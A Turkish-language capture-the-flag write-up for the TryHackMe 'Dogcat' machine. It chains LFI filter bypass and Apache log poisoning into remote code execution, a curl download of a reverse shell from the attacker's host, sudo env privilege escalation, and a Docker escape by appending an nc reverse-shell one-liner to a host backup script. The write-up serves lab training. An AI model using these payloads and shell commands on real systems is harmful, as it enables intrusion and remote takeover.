3 minutes
THM Dogcat Write Up
Merhaba, Bu yazımda sizlere Tryhackme’de yer alan orta seviye zorluktaki DogCat adlı makinanın çözümünden bahsedeceğim. Keyifli okumalar…
1. Keşif Aşaması
Nmap ile makinenin açık portları ve portlarda çalışan servisleri tespit edilir.
sudo nmap -sV -sC 10.10.35.38
Sistemde sadece 2 port açıktır. Web sayfasına giriş yapılır. Anasayfada yer alan dog ve cat butonlarına tıklanarak adres çubuğuna dikkatle bakılır.
LFI zafiyeti kontrolü için /etc/passwd dosyası okunmaya çalışılır.
Dog ve cat dışındaki dosyalar filtreye takılımaktadır. Dog ibaresi eklenerek test tekrarlanır.
Dog ve cat filtresi baypass edilidiğinde dosyaya otomatik olarak .php uzantısı eklendiği görülmektedir. Php filter kullanılarak index.php dosyası okunmaya çalışılır.
?view=php://filter/convert.base64-encode/resource=./dog/../index
index.php dosyası başarılı bir şekilde okunur. Sonuç base64 ile decode edilir. Index.php içerisindeki php kodları incelenir.
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
containsStr() metodu ile dog ve cat ifadeleri kontrol edilmektedir. Get isteğinde ext parametresi yok ise php uzantısının otomatik olarak eklendiği görülmektedir. İstek yapılırken &ext kullanılarak uzantı ekleme kısmı baypass edilir.
LFI zafiyetinden RCE (Remote Code Execution) oluşturabilmek için tarayıcıdan LFI ile okunabilen bir dosyaya php kodu enjekte edilmelidir. Apache logları kontrol edilir. Özellikle access.log dosyasında web servisine atılan tüm isteklerin header bilgileri kayıt edilmektedir. Log dosyası okunmaya çalışılır.
?view=./dog/../../../../var/log/apache2/access.log&ext=
Log içeriklerine bakıldığında User-Agent bilgisininde kayıt edildiği görülmektedir. User-Agent bilgisi kod çalıştırabilecek bir php kodu ile değiştirilip istek atıldığında isteğin başlık bilgisi, log dosyasına kayıt edilir. İşlem Burpsuite aracı kullanılarak yapılır.
Daha sonra test için cmd parametresine id değeri verilerek apache access log dosyası okunmaya çalışılır.
?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=id
id komutu başarılı ile çalışmaktadır. Bu aşamadan sonra shell bağlantısı için birçok yol izlenebilir. Biz burada sisteme dosya upload ederek shell bağlantısı alacağız.
Localhostta python3 http.server modulü kullanılarak web sunucusu ayağa kaldırılır. Daha sonra
&cmd=curl http://10.9.62.67:8000/reverse.php -o reverse.php
komutu adres çubuğuna eklenir.
?view=./dog/../../../../var/log/apache2/access.log&ext=&&cmd=curl http://10.9.62.67:8000/reverse.php -o reverse.php
2. Erişim Sağlanması
Ayarlanan port dinlemeye başlanır. Daha sonra tarayıcıdan yüklenen dosyaya istek atılır ve shell bağlantısı sağlanır.
http://10.10.35.38/reverse.php
Web dizine bakıldığında birinci flag dosyası okunur.
3. Yetki Yükseltme
sudo -l
komutu ile www-data kullanısının yetkileri kontrol edilir. env komutunun parola gerektirmeden root yetkisi ile çalıştırılabileceği tespit edilir.
Aşağıdaki komut ile env uygulaması ile yetki yükseltilir.
sudo /usr/bin/env /bin/bash
find komutu ile sistemdeki diğer flag dosyaları aranır. flag2 ve flag3 dosyaları tespit edilir. Root yetkisinde olduğumuzdan flaglar kolayca okunur.
Makinadaki toplam 4 adet flag dosyasından 3 tanesi tespit edilmiştir.
Makina adına dikkatlice bakıldığında docker container içerisinde olduğumuz görülmektedir. Diğer flag dosyası için container dışına çıkmamız gerekmektedir.
/opt dizini kontrol edildiğinde backups klasörü dikkat çekmektedir. Dizin içeriğine bakıldığında backup.sh adında shell script bulunmaktadır.
/root/container dizini ile container içerisinde yer alan /opt/backup dizininin volume oluşturularak bağlandığı görülmektedir. Dizindeki backup.sh dosyasına shell kodu eklenerek containerdan dışarı çıkılır.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.62.67 5555 >/tmp/f" >> backup.sh
nc ile 5555 port dinlenir. backup.sh dosyası containerın çalıştığı host tarafından düzenli olarak çalıştırılmaktadır. (Öyle tahmin ederek bağlantı gelmesi beklenir 🤫)
Kısa bir süre sonra ana makinadan shell bağlantısı alınır. Root dizini kontrol edilerek 4. flag dosyası okunur.